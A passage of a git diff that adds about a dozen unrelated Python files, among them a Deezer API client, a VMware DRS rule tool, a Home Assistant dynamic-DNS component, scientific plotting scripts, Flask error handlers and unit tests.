json.loads(r.text) + return artists + + + # Get one single artist + def get_artist(self, artist_id): + r = requests.get("http://api.deezer.com/artist/%s" % artist_id) + artist = json.loads(r.text) + + a_r = requests.get("http://api.deezer.com/artist/%s/albums" % artist_id) + albums = json.loads(a_r.text) + artist['albums'] = albums['data'] + + return artist + + + # Collect all the albums + def get_albums(self, term): + r = requests.get("http://api.deezer.com/search/album?q=%s" % term) + albums = json.loads(r.text) + return albums + + + # Collect one single album + def get_album(self, album_id): + r = requests.get("http://api.deezer.com/album/%s" % album_id) + album = json.loads(r.text) + + return album + + + # Collect all the tracks + def get_tracks(self, term): + r = requests.get("http://api.deezer.com/search?q=%s" % term) + tracks = json.loads(r.text) + return tracks + + + # Collect one single track + def get_track(self, track_id): + r = requests.get("http://api.deezer.com/track/%s" % track_id) + track = json.loads(r.text) + return track + + + # Collect and return data + def get_data(self): + data = {} + + data['artists'] = {} + artists = self.get_artists(self._identifier) + print artists + if artists['total'] > 0: + data['artists'] = artists + + + data['albums'] = {} + albums = self.get_albums(self._identifier) + if albums['total'] > 0: + data['albums'] = albums + + + data['tracks'] = {} + tracks = self.get_tracks(self._identifier) + if tracks['total'] > 0: + data['tracks'] = tracks + + return data + + + # Used in corresponding action to retrieve the results + def retrieve_results(self): + return self._result \ No newline at end of file diff --git a/pool/shard009/Python/0081926_clusterconfig.py b/pool/shard009/Python/0081926_clusterconfig.py new file mode 100644 index 0000000000000000000000000000000000000000..df0455d715609794307d0acde182fcf9fea9fc65 --- /dev/null +++ b/pool/shard009/Python/0081926_clusterconfig.py @@ -0,0 +1,126 @@ +#!/usr/bin/env python +# vim: ts=4 sw=4 et +"""Various config options for Virtual Machines.""" + + +from pyVmomi import vim # pylint: disable=E0611 +from vctools.query import Query +from vctools import Logger +from vctools.tasks import Tasks + +class ClusterConfig(Logger): + """Various config options for Virtual Machines.""" + def __init__(self, auth, opts, dotrc): + self.auth = auth + self.opts = opts + self.dotrc = dotrc + + def drs_rule(self): + """ + Method messes with DRS rules. + Currently only Anti Affinity rules, and only add or delete. + + For safety, it has a concept of a vctools prefix. The prefix lives in the + rc file, or can be declared by a flag. This is so you "can't" delete a + rule that was not created by vctools. + + Args: + cluster (str): cluster to modify + type (str): currently only anti-affinity + oper (add|delete): operation mode + name (str): name of the rule + vms (list): list of vms (to add, not used for delete) + + Returns true if successful. + """ + cluster = self.opts.cluster + drs_type = self.opts.drs_type + name = self.opts.name + vms = self.opts.vms + function = self.opts.function + + + self.logger.debug(cluster, drs_type, name, vms, function) + + # containers we need + clusters = Query.create_container( + self.auth.session, self.auth.session.content.rootFolder, + [vim.ComputeResource], True + ) + virtual_machines = Query.create_container( + self.auth.session, self.auth.session.content.rootFolder, + [vim.VirtualMachine], True + ) + + # our cluster object + cluster_obj = Query.get_obj(clusters.view, cluster) + + if drs_type == 'anti-affinity': + + if function == 'add': + + vm_obj_list = [] + for vm_obj in vms: + vm_obj_list.append(Query.get_obj(virtual_machines.view, vm_obj)) + + # check to see if this rule name is in use + if Query.is_anti_affinity_rule(cluster_obj, name): + raise ValueError('Error: rule name "%s" is already in use' % name) + + # check to see vms are in the right cluster + for vm_obj in vm_obj_list: + if not Query.is_vm_in_cluster(cluster_obj, vm_obj): + raise ValueError( + 'Error: the vm "%s" is not in the stated cluster' % vm_obj.name + ) + + # check to see if the vms already have DRS rules + for vm_obj in vm_obj_list: + match = 0 + for rule in cluster_obj.configuration.rule: + if hasattr(rule, 'vm'): + for rulevm in rule.vm: + if vm_obj == rulevm: + match = 1 + if match != 0: + raise ValueError( + 'Error: the vm "%s" is already in a DRS rule' % vm_obj.name + ) + + new_rule = vim.ClusterAntiAffinityRuleSpec() + new_rule.name = name + + new_rule.userCreated = True + new_rule.enabled = True + for vm_obj in vm_obj_list: + new_rule.vm.append(vm_obj) + + rule_spec = vim.cluster.RuleSpec(info=new_rule, operation='add') + config_spec = vim.cluster.ConfigSpecEx(rulesSpec=[rule_spec]) + Tasks.task_monitor(cluster_obj.ReconfigureComputeResource_Task( + config_spec, modify=True), False) + + self.logger.info('new AA DRS rule on %s: %s', cluster, name) + + + if function == 'delete': + #Delete an AntiAffinity Rule + # check to see if this rule name is in use, and delete if found + found = False + for existing_rule in cluster_obj.configuration.rule: + if existing_rule.name == name: + found = True + # doublecheck this is an AA rule + if isinstance(existing_rule, vim.cluster.AntiAffinityRuleSpec): + rule_spec = vim.cluster.RuleSpec( + removeKey=existing_rule.key, operation='remove') + config_spec = vim.cluster.ConfigSpecEx(rulesSpec=[rule_spec]) + Tasks.task_monitor(cluster_obj.ReconfigureComputeResource_Task( + config_spec, modify=True), False) + self.logger.info('Deleted AA DRS rule on %s: %s', cluster, name) + else: + raise ValueError( + 'Error: rule name "%s" not an AntiAffinity rule' % name + ) + if not found: + raise ValueError('Error: rule name "%s" not found' % name) diff --git a/pool/shard009/Python/0081929_mixins.py b/pool/shard009/Python/0081929_mixins.py new file mode 100644 index 0000000000000000000000000000000000000000..753bf3da83a28e13b174cd8960b70689a3d432d6 --- /dev/null +++ b/pool/shard009/Python/0081929_mixins.py @@ -0,0 +1,55 @@ +# -*- coding: utf-8 -*- +from cfme.fixtures import pytest_selenium as sel +from cfme.web_ui import fill, Form, AngularSelect, Table, toolbar, form_buttons, flash +from xml.sax.saxutils import quoteattr + +tag_form = Form( + fields=[ + ('category', AngularSelect('tag_cat')), + ('tag', AngularSelect('tag_add')) + ]) + +tag_table = Table("//div[@id='assignments_div']//table") + + +def add_tag(tag, single_value=False, navigate=True): + if navigate: + toolbar.select('Policy', 'Edit Tags') + if isinstance(tag, (list, tuple)): + fill_d = { + "category": tag[0] if not single_value else "{} *".format(tag[0]), + "tag": tag[1] + } + else: + fill_d = {"tag": tag.display_name} + if tag.category.single_value: + fill_d["category"] = "{} *".format(tag.category.display_name) + else: + fill_d["category"] = tag.category.display_name + fill(tag_form, fill_d) + form_buttons.save() + flash.assert_success_message('Tag edits were successfully saved') + + +def remove_tag(tag): + toolbar.select('Policy', 'Edit Tags') + if isinstance(tag, (tuple, list)): + category, tag_name = tag + else: + category = tag.category.display_name + tag_name = tag.display_name + row = tag_table.find_row_by_cells({'category': category, 'assigned_value': tag_name}, + partial_check=True) + sel.click(row[0]) + form_buttons.save() + flash.assert_success_message('Tag edits were successfully saved') + + +def get_tags(tag="My Company Tags"): + tags = [] + for row in sel.elements( + "//*[(self::th or self::td) and normalize-space(.)={}]/../.." + "//td[img[contains(@src, 'smarttag')]]".format( + quoteattr(tag))): + tags.append(sel.text(row).strip()) + return tags diff --git a/pool/shard009/Python/0081936_boring_server_blocking.py b/pool/shard009/Python/0081936_boring_server_blocking.py new file mode 100644 index 0000000000000000000000000000000000000000..23358089c1bc92fb0a4dc9eb1f8798690d692317 --- /dev/null +++ b/pool/shard009/Python/0081936_boring_server_blocking.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python +# -*- coding: UTF-8 -*- +# +# Copyright (c) 2020 ASMlover. All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: +# +# * Redistributions of source code must retain the above copyright +# notice, this list ofconditions and the following disclaimer. +# +# * Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in +# the documentation and/or other materialsprovided with the +# distribution. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS +# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, +# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +# POSSIBILITY OF SUCH DAMAGE. + +import random +import socket +import time + + +def on_boring(conn:socket.socket, msg:str) -> None: + for _ in range(5): + conn.send(msg.encode()) + time.sleep(random.random()) + conn.send(b"I'm boring, I'm quit!") + +def main(): + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as acceptor: + acceptor.bind(("0.0.0.0", 5555)) + acceptor.listen() + + while True: + conn, _ = acceptor.accept() + with conn: + on_boring(conn, "boring!") + +if __name__ == '__main__': + try: + main() + except KeyboardInterrupt: + print("boring server finished") + except Exception as e: + print(e) diff --git a/pool/shard009/Python/0081945_mythicbeastsdns.py b/pool/shard009/Python/0081945_mythicbeastsdns.py new file mode 100644 index 0000000000000000000000000000000000000000..ff45fc8a53039e45edb24d1508838be15d369780 --- /dev/null +++ b/pool/shard009/Python/0081945_mythicbeastsdns.py @@ -0,0 +1,59 @@ +""" +Integrate with Mythic Beasts Dynamic DNS service. + +For more details about this component, please refer to the documentation at +https://home-assistant.io/components/mythicbeastsdns/ +""" +from datetime import timedelta +import logging +import voluptuous as vol + +import homeassistant.helpers.config_validation as cv +from homeassistant.const import CONF_HOST, CONF_DOMAIN, CONF_PASSWORD +from homeassistant.helpers.event import async_track_time_interval +from homeassistant.helpers.aiohttp_client import async_get_clientsession + +REQUIREMENTS = ['mbddns==0.1.2'] + +_LOGGER = logging.getLogger(__name__) + +DOMAIN = 'mythicbeastsdns' + +DEFAULT_INTERVAL = timedelta(minutes=10) + +CONF_UPDATE_INTERVAL = 'update_interval' + +CONFIG_SCHEMA = vol.Schema({ + DOMAIN: vol.Schema({ + vol.Required(CONF_HOST): cv.string, + vol.Required(CONF_DOMAIN): cv.string, + vol.Required(CONF_PASSWORD): cv.string, + vol.Optional(CONF_UPDATE_INTERVAL, default=DEFAULT_INTERVAL): vol.All( + cv.time_period, cv.positive_timedelta), + }) +}, extra=vol.ALLOW_EXTRA) + + +async def async_setup(hass, config): + """Initialize the Mythic Beasts component.""" + import mbddns + + domain = config[DOMAIN][CONF_DOMAIN] + password = config[DOMAIN][CONF_PASSWORD] + host = config[DOMAIN][CONF_HOST] + update_interval = config[DOMAIN][CONF_UPDATE_INTERVAL] + + session = async_get_clientsession(hass) + + result = await mbddns.update(domain, password, host, session=session) + + if not result: + return False + + async def update_domain_interval(now): + """Update the DNS entry.""" + await mbddns.update(domain, password, host, session=session) + + async_track_time_interval(hass, update_domain_interval, update_interval) + + return True diff --git a/pool/shard009/Python/0081949_encode_frames.py b/pool/shard009/Python/0081949_encode_frames.py new file mode 100644 index 0000000000000000000000000000000000000000..19d1e28dc9e98945b8c344af7daafd60dacb50c5 --- /dev/null +++ b/pool/shard009/Python/0081949_encode_frames.py @@ -0,0 +1,41 @@ +from __future__ import print_function +import argparse +import os +import sys + +import av +import cv2 + + +arg_parser = argparse.ArgumentParser() +arg_parser.add_argument('-r', '--rate', default='23.976') +arg_parser.add_argument('-f', '--format', default='yuv420p') +arg_parser.add_argument('-w', '--width', type=int) +arg_parser.add_argument('--height', type=int) +arg_parser.add_argument('-b', '--bitrate', type=int, default=8000000) +arg_parser.add_argument('-c', '--codec', default='mpeg4') +arg_parser.add_argument('inputs', nargs='+') +arg_parser.add_argument('output', nargs=1) +args = arg_parser.parse_args() + + +output = av.open(args.output[0], 'w') +stream = output.add_stream(args.codec, args.rate) +stream.bit_rate = args.bitrate +stream.pix_fmt = args.format + +for i, path in enumerate(args.inputs): + + print(os.path.basename(path)) + + img = cv2.imread(path) + + if not i: + stream.height = args.height or (args.width * img.shape[0] / img.shape[1]) or img.shape[0] + stream.width = args.width or img.shape[1] + + frame = av.VideoFrame.from_ndarray(img, format='bgr24') + packet = stream.encode(frame) + output.mux(packet) + +output.close() diff --git a/pool/shard009/Python/0081953_decoder.py b/pool/shard009/Python/0081953_decoder.py new file mode 100644 index 0000000000000000000000000000000000000000..16837033b59f0cae6be074a66eec8b34f2cc7547 --- /dev/null +++ b/pool/shard009/Python/0081953_decoder.py @@ -0,0 +1,40 @@ +""" +Copyright (2018) Chris Scuderi + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +""" +import time + +from alarm_central_station_receiver.contact_id import dsc +from alarm_central_station_receiver.events import create_event + + +def decode(raw_events): + decoded_events = [] + + for code, valid in raw_events: + if len(code) < 15: + report_type = 'U' + event = '' + description = 'Invalid Length: %s (len %d)' % (code, len(code)) + else: + # Attempt to decode even with a bad checksum + report_type, event, description = dsc.digits_to_alarmreport(code) + if not valid: + description += ' -- Checksum Mismatch! %s' % code + + decoded_events.append(create_event(report_type, + event, + description, + code)) + return decoded_events diff --git a/pool/shard009/Python/0081954_fig_mincomp_procedure.py b/pool/shard009/Python/0081954_fig_mincomp_procedure.py new file mode 100644 index 0000000000000000000000000000000000000000..96ee65f08ae8da428bc681ddaf2adcefeb7b4e6e --- /dev/null +++ b/pool/shard009/Python/0081954_fig_mincomp_procedure.py @@ -0,0 +1,130 @@ +""" +Minimum component fitting procedure +----------------------------------- +Figure 10.12 + +The intermediate steps of the minimum component filter procedure applied to the +spectrum of a white dwarf from the SDSS data set (mjd= 52199, plate=659, +fiber=381). The top panel shows the input spectrum; the masked sections of the +input spectrum are shown by thin lines (i.e., step 1 of the process in Section +10.2.5). The bottom panel shows the PSD of the masked spectrum, after the +linear fit has been subtracted (gray line). A simple low-pass filter (dashed +line) is applied, and the resulting filtered spectrum (dark line) is used to +construct the result shown in figure 10.13. + +Minimum component filtering is explained in Wall & Jenkins, as well as +Wall 1997, A&A 122:371. The minimum component algorithm is implemented +in astroML.filters.min_component_filter +""" +# Author: Jake VanderPlas +# License: BSD +# The figure produced by this code is published in the textbook +# "Statistics, Data Mining, and Machine Learning in Astronomy" (2013) +# For more information, see http://astroML.github.com +# To report a bug or issue, use the following forum: +# https://groups.google.com/forum/#!forum/astroml-general +import numpy as np +from matplotlib import pyplot as plt + +from scipy import fftpack + +from astroML.fourier import PSD_continuous +from astroML.datasets import fetch_sdss_spectrum + +#---------------------------------------------------------------------- +# This function adjusts matplotlib settings for a uniform feel in the textbook. +# Note that with usetex=True, fonts are rendered with LaTeX. This may +# result in an error if LaTeX is not installed on your system. In that case, +# you can set usetex to False. +from astroML.plotting import setup_text_plots +setup_text_plots(fontsize=8, usetex=True) + +#------------------------------------------------------------ +# Fetch the spectrum from SDSS database & pre-process +plate = 659 +mjd = 52199 +fiber = 381 + +data = fetch_sdss_spectrum(plate, mjd, fiber) + +lam = data.wavelength() +spec = data.spectrum + +# wavelengths are logorithmically spaced: we'll work in log(lam) +loglam = np.log10(lam) + +flag = (lam > 4000) & (lam < 5000) +lam = lam[flag] +loglam = loglam[flag] +spec = spec[flag] + +lam = lam[:-1] +loglam = loglam[:-1] +spec = spec[:-1] + +#---------------------------------------------------------------------- +# First step: mask-out significant features +feature_mask = (((lam > 4080) & (lam < 4130)) | + ((lam > 4315) & (lam < 4370)) | + ((lam > 4830) & (lam < 4900))) + +#---------------------------------------------------------------------- +# Second step: fit a line to the unmasked portion of the spectrum +XX = loglam[:, None] ** np.arange(2) +beta = np.linalg.lstsq(XX[~feature_mask], spec[~feature_mask])[0] + +spec_fit = np.dot(XX, beta) +spec_patched = spec - spec_fit +spec_patched[feature_mask] = 0 + +#---------------------------------------------------------------------- +# Third step: Fourier transform the patched spectrum +N = len(loglam) +df = 1. / N / (loglam[1] - loglam[0]) +f = fftpack.ifftshift(df * (np.arange(N) - N / 2.)) +spec_patched_FT = fftpack.fft(spec_patched) + +#---------------------------------------------------------------------- +# Fourth step: Low-pass filter on the transform +filt = np.exp(- (0.01 * (abs(f) - 100.)) ** 2) +filt[abs(f) < 100] = 1 + +spec_filt_FT = spec_patched_FT * filt + +#---------------------------------------------------------------------- +# Fifth step: inverse Fourier transform, and add back the fit +spec_filt = fftpack.ifft(spec_filt_FT) +spec_filt += spec_fit + +#---------------------------------------------------------------------- +# plot results +fig = plt.figure(figsize=(5, 3.75)) +fig.subplots_adjust(hspace=0.25) + +ax = fig.add_subplot(211) +ax.plot(lam, spec, '-', c='gray') +ax.plot(lam, spec_patched + spec_fit, '-k') + +ax.set_ylim(25, 110) + +ax.set_xlabel(r'$\lambda\ {\rm(\AA)}$') +ax.set_ylabel('flux') + +ax = fig.add_subplot(212) +factor = 15 * (loglam[1] - loglam[0]) +ax.plot(fftpack.fftshift(f), + factor * fftpack.fftshift(abs(spec_patched_FT) ** 1), + '-', c='gray', label='masked/shifted spectrum') +ax.plot(fftpack.fftshift(f), + factor * fftpack.fftshift(abs(spec_filt_FT) ** 1), + '-k', label='filtered spectrum') +ax.plot(fftpack.fftshift(f), + fftpack.fftshift(filt), '--k', label='filter') + +ax.set_xlim(0, 2000) +ax.set_ylim(0, 1.1) + +ax.set_xlabel('$f$') +ax.set_ylabel('scaled $PSD(f)$') + +plt.show() diff --git a/pool/shard009/Python/0081955_convolution_normal_script.py b/pool/shard009/Python/0081955_convolution_normal_script.py new file mode 100644 index 0000000000000000000000000000000000000000..6f4ae013c0de7e9cdca1bd7c4126c9d6a33133e0 --- /dev/null +++ b/pool/shard009/Python/0081955_convolution_normal_script.py @@ -0,0 +1,93 @@ + +""" +Purpose: +----------------------------------------------------------------------------------- +We generate convolved hemodynamic neural prediction into seperated txt files for +all four conditions (task, gain, lost, distance), and also generate plots for 4 +BOLD signals over time for each of them too. + +Steps: +----------------------------------------------------------------------------------- +1. Extract 4 conditions of each subject's run +2. Load the data to get the 4th dimension shape +3. Convolve with hrf +4. Plot sampled HRFs with the high resolution neural time course +5. Save the convolved data into txt files +""" + + +from __future__ import absolute_import, division, print_function +import sys, os +sys.path.append(os.path.join(os.path.dirname(__file__), "../functions/")) +import numpy as np +import matplotlib.pyplot as plt +import nibabel as nib +from stimuli import * +from scipy.stats import gamma +from organize_behavior_data import * + +# Create the necessary directories if they do not exist +dirs = ['../../../txt_output', '../../../txt_output/conv_normal',\ + '../../../fig','../../../fig/conv_normal'] +for d in dirs: + if not os.path.exists(d): + os.makedirs(d) + +# Locate the different paths +project_path = '../../../' +data_path = project_path+'data/ds005/' + +#change here to get your subject ! +subject_list = [str(i) for i in range(1,17)] +#subject_list = ['1','5'] +#change here to get your run number ! +run_list = [str(i) for i in range(1,4)] +cond_list = [str(i) for i in range(1,5)] +# Loop through conditions by subject and by run +condition_paths = [('ds005_sub' + s.zfill(3) + '_t1r' + r +'_conv'+ c.zfill(3), \ + data_path + 'sub' + s.zfill(3) + '/model/model001/onsets/task001_run' \ + + r.zfill(3) + '/cond'+ c.zfill(3) + '.txt') for c in cond_list \ + for r in run_list \ + for s in subject_list] + +condition = ['task','gain','loss','dist'] + +#Use the first image to get the data dimensions +image_path = data_path + 'sub001/BOLD/task001_run001/bold.nii.gz' +img = nib.load(image_path) +data_int = img.get_data() +data = data_int.astype(float) +#set the TR +TR = 2.0 + +#get canonical hrf +tr_times = np.arange(0, data.shape[2], TR) +hrf_at_trs = hrf(tr_times) +n_vols = data.shape[-1] +vol_shape = data.shape[:-1] +all_tr_times = np.arange(data.shape[-1]) * TR + +for cond_path in condition_paths: + name = cond_path[0] + path = cond_path[1] + cond = np.loadtxt(path, skiprows = 1) + neural_prediction = events2neural(cond,TR,n_vols) + convolved = np.convolve(neural_prediction, hrf_at_trs) + convolved = convolved[:-(len(hrf_at_trs)-1)] + #plot + plt.plot(all_tr_times, neural_prediction, label="neural_prediction") + plt.plot(all_tr_times, convolved, label="convolved") + plt.title(name+'_%s'%(condition[int(name[24])-1])) + plt.xlabel('Time (seconds)') + plt.ylabel('Convolved values at TR onsets (condition: %s)'%(condition[int(name[24])-1])) + plt.legend(loc='lower right') + + plt.savefig(dirs[3]+'/'+ name +'_canonical.png') + + plt.close() + #save the txt file + np.savetxt(dirs[1] +'/'+ name +'_canonical.txt', convolved) + + + + diff --git a/pool/shard009/Python/0081956_errors.py b/pool/shard009/Python/0081956_errors.py new file mode 100644 index 0000000000000000000000000000000000000000..7eabc91cc5488256d5a03e6dbf7f20854ce795a8 --- /dev/null +++ b/pool/shard009/Python/0081956_errors.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -* + +from flask import jsonify +from app.exceptions import ValidationError +from . import api + +def bad_request(message): + + ''' + deal with bad_request + :param message: + :return: josn_response + ''' + + response = jsonify({'error': 'bad request', 'message': message}) + response.status_code = 400 + return response + + +def unauthorized(message): + + ''' + deal with unauthorized request + :param message: + :return: josn_response + ''' + + response = jsonify({'error': 'unauthorized', 'message': message}) + response.status_code = 401 + return response + + +def forbidden(message): + + ''' + deal with forbidden request + :param message: + :return: josn_response + ''' + + response = jsonify({'error': 'forbidden', 'message': message}) + response.status_code = 403 + return response + + +def pending(message): + + ''' + deal with pendding request + :param message: + :return: josn_response + ''' + + response = jsonify({'error': 'pending', 'message': message}) + response.status_code = 200 + return response + + +@api.errorhandler(ValidationError) +def validation_error(e): + + ''' + deal with validation_error request + :param message: + :return: josn_response + ''' + + return bad_request(e.args[0]) \ No newline at end of file diff --git a/pool/shard009/Python/0081958_test_rotation4.py b/pool/shard009/Python/0081958_test_rotation4.py new file mode 100644 index 0000000000000000000000000000000000000000..062975e3367646496845f8aa8ad10221c657238a --- /dev/null +++ b/pool/shard009/Python/0081958_test_rotation4.py @@ -0,0 +1,145 @@ +# -*- coding: utf-8 -*- +""" +Created on Fri May 19 18:09:43 2017 + +@author: camacho +""" + +# -*- coding: utf-8 -*- + +import Gedi as gedi +import numpy as np; #np.random.seed(13042017) +import matplotlib.pylab as pl; pl.close("all") +import astropy.table as Table +import random as rnd + +#maximum number of spots +spot_number=10 + +#import sys +#f=open("Tests_gradient_optimization.txt","w") +#sys.stdout = f + +amps=np.random.uniform(5,15) +periods=np.random.uniform(20,30) +#for k in range(10,spot_number+1): +##### Spots data preparation ################################################## +RV_spots_data=[] #to contain all data in the end + +# data from ex_amp0.rdb +rdb_data=Table.Table.read('soap_s7.rdb',format='ascii') +RV_spot=rdb_data['RV_tot'][1:101] +RV_spot=np.array(RV_spot) +RV_spot=RV_spot.astype('Float64') +RV_spotfinal=np.concatenate((RV_spot,RV_spot,RV_spot,RV_spot),axis=0) + +# #to organize the data into just 30 measurments +# spots_yy=[] +# for i in np.arange(4,401,4): +# a=(RV_spotfinal[i-4]+RV_spotfinal[i-3]+RV_spotfinal[i-2]+ \ +# RV_spotfinal[i-1])*1000/4. +# spots_yy.append(a) +# spots_data=[] +# for j in np.arange(1,100,3.3): +# spots_data.append(spots_yy[int(round(j))]) +# RV_spots_data.append(spots_data) #final data + +#mudar para gaussiana +yerr=0.5e-3*np.random.randn(len(RV_spotfinal)) +# yerr=np.array([np.random.uniform(0.2,0.5) for n in RV_spots_data[0]]) +y=RV_spotfinal+yerr +# +#time=range(1,31) +#time=np.array([4*n for n in time]) +time=np.linspace(0,25*4,400) +pl.figure() +pl.plot(time,y,'-') + +###### Optimization ############################################################ +# print +# print "****************************************************" +# print "Running optimization algorithms" +# print "****************************************************" +# print +# +## amps=[0,7.0,8.0,25.0,25.0,30.0,30.0,30.0,40.0,40.0,50.0] +# amps=[0,10.0,10.0,10.0,10.0,10.0,10.0,10.0,10.0,10.0,10.0] +# periods=[0,20,20,20,20,20,20,20,20,20,20] +# +## kernel1=gedi.kernel.ExpSineSquared(amps[k],1.0,25.0)+ \ +## gedi.kernel.WhiteNoise(1.0) +## kernel1=gedi.kernel.QuasiPeriodic(amps[k],1.0,1.0,25.0)+ \ +## gedi.kernel.WhiteNoise(1.0) +## kernel1=gedi.kernel.ExpSineSquared(amps[k],1.0,25.0)* \ +## gedi.kernel.ExpSquared(1.0,1.0)+ \ +## gedi.kernel.WhiteNoise(1.0) +## kernel1=gedi.kernel.ExpSineSquared(amps[k],1.0,25.0)+ \ +## gedi.kernel.Matern32(1.0,0.1)+ \ +## gedi.kernel.WhiteNoise(1.0) +## kernel1=gedi.kernel.QuasiPeriodic(amps,1.0,1.0,periods)+ \ +## gedi.kernel.WhiteNoise(1.0) +## kernel1=gedi.kernel.ExpSineSquared(amps[k],1.0,25.0)+ \ +## gedi.kernel.Exponential(1.0,0.1)+ \ +## gedi.kernel.WhiteNoise(1.0) +## kernel1=gedi.kernel.QuasiPeriodic(amps[k],1.0,1.0,20.0)+ \ +## gedi.kernel.Exponential(1.0,0.1)+ \ +## gedi.kernel.WhiteNoise(1.0) +## kernel1=gedi.kernel.ExpSineSquared(amps,1.0,periods)+ \ +## gedi.kernel.WhiteNoise(1.0) +# +## kernel1=gedi.kernel.QuasiPeriodic(amps[k],1.0,1.0,25.0)+ \ +## gedi.kernel.WhiteNoise(1.0) +## kernel1=gedi.kernel.ExpSineSquared(amps[k],1.0,25.0)+ \ +## gedi.kernel.WhiteNoise(1.0) +# +## kernel1=gedi.kernel.QuasiPeriodic(amps[k],1.0,1.0,25.0)+ \ +## gedi.kernel.ExpSineSquared(5,1.0,25)+ \ +## gedi.kernel.WhiteNoise(1.0) +## kernel1=gedi.kernel.ExpSineSquared(20,1.0,25.0)+ \ +## gedi.kernel.ExpSineSquared(5,1.0,25.0)+ \ +## gedi.kernel.WhiteNoise(1.0) +## kernel1=gedi.kernel.ExpSineSquared(60.,(1./np.sqrt(2)),50.0)+ \ +## gedi.kernel.ExpSineSquared(30.,(1./np.sqrt(2)),50.0)+ \ +## gedi.kernel.WhiteNoise(1.0) +# +# kernel1=gedi.kernel.QuasiPeriodic(50.0,1.0,30.0) +# +# likelihood1=gedi.kernel_likelihood.likelihood(kernel1,time,y,yerr) +# +# print "Initial kernel and log-likelihood" +# print kernel1, likelihood1 +# +## optimization=gedi.kernel_optimization.single_optimization(kernel1, \ +## time,y,yerr,method=" bfgs") +# optimization=gedi.kernel_optimization.committed_optimization(kernel1, \ +# time,y,yerr) +# +# print +# print "Final kernel and log-likelihood" +# print optimization[1], optimization[0] +# print +# print "Done." +# + +###### Final Graphics ######################################################### +xcalc=np.linspace(0,100,1000) +kernel=gedi.kernel.QuasiPeriodic(40.960628965, 1.90713492398, 14.8727736334, 19.8161470345) \ ++gedi.kernel.WhiteNoise(0.019728091191) +[mu,std]=gedi.kernel_likelihood.compute_kernel(kernel, \ + time,xcalc,y,yerr) + +#pl.figure('fit') #Graphics +pl.fill_between(xcalc, mu+std, mu-std, color="k", alpha=0.1) +pl.plot(xcalc, mu+std, color="k", alpha=1, lw=0.25) +pl.plot(xcalc, mu-std, color="k", alpha=1, lw=0.25) +pl.plot(xcalc, mu, color="k", alpha=1, lw=0.5) +pl.errorbar(time, y, yerr=yerr, fmt=".k", capsize=0) +pl.title('Fit') +pl.xlabel("$time (days)$") +pl.ylabel("$RV (m/s)$") + +#pl.savefig("fit_spot_%i.png"%k) +# pl.close('fit') + +#for when everything ends +#f.close() \ No newline at end of file diff --git a/pool/shard009/Python/0081959_manage.py b/pool/shard009/Python/0081959_manage.py new file mode 100644 index 0000000000000000000000000000000000000000..2f4e0f6596dc6d5cb9ec345949ccf5c7ac64ca52 --- /dev/null +++ b/pool/shard009/Python/0081959_manage.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + + +from flask.ext.script import Manager + +from paveldedik import app, db + + +manager = Manager(app) + + +@manager.command +def dropdb(): + """Drops database.""" + db.connection.drop_database(app.name) + print 'Database dropped.' + + +if __name__ == '__main__': + manager.run() diff --git a/pool/shard009/Python/0081968_test_description.py b/pool/shard009/Python/0081968_test_description.py new file mode 100644 index 0000000000000000000000000000000000000000..8b73ec923aa97eda57b8c8bd137f32bedd693c96 --- /dev/null +++ b/pool/shard009/Python/0081968_test_description.py @@ -0,0 +1,109 @@ +from unittest.mock import mock_open, patch + +import pytest + +from satosa.metadata_creation.description import ContactPersonDesc, UIInfoDesc, OrganizationDesc, MetadataDescription + + +class TestContactPersonDesc(object): + def test_to_dict(self): + desc = ContactPersonDesc() + desc.contact_type = "test" + desc.given_name = "First" + desc.sur_name = "Tester" + desc.add_email_address("first_tester@example.com") + + serialized = desc.to_dict() + assert serialized["contact_type"] == "test" + assert serialized["given_name"] == "First" + assert serialized["sur_name"] == "Tester" + assert serialized["email_address"] == ["first_tester@example.com"] + + +class TestUIInfoDesc(object): + def test_to_dict(self): + desc = UIInfoDesc() + desc.add_description("test", "en") + desc.add_display_name("my company", "en") + desc.add_logo("logo.jpg", 80, 80, "en") + + serialized = desc.to_dict() + ui_info = serialized["service"]["idp"]["ui_info"] + assert ui_info["description"] == [{"text": "test", "lang": "en"}] + assert ui_info["display_name"] == [{"text": "my company", "lang": "en"}] + assert ui_info["logo"] == [{"text": "logo.jpg", "width": 80, "height": 80, "lang": "en"}] + + def test_to_dict_for_logo_without_lang(self): + desc = UIInfoDesc() + desc.add_logo("logo.jpg", 80, 80, None) + + serialized = desc.to_dict() + ui_info = serialized["service"]["idp"]["ui_info"] + assert ui_info["logo"] == [{"text": "logo.jpg", "width": 80, "height": 80}] + + def test_to_dict_with_empty(self): + desc = UIInfoDesc() + assert desc.to_dict() == {} + + +class TestOrganizationDesc(object): + def test_to_dict(self): + desc = OrganizationDesc() + desc.add_display_name("Foo Testing", "en") + desc.add_name("Testing Co.", "en") + desc.add_url("https://test.example.com", "en") + + 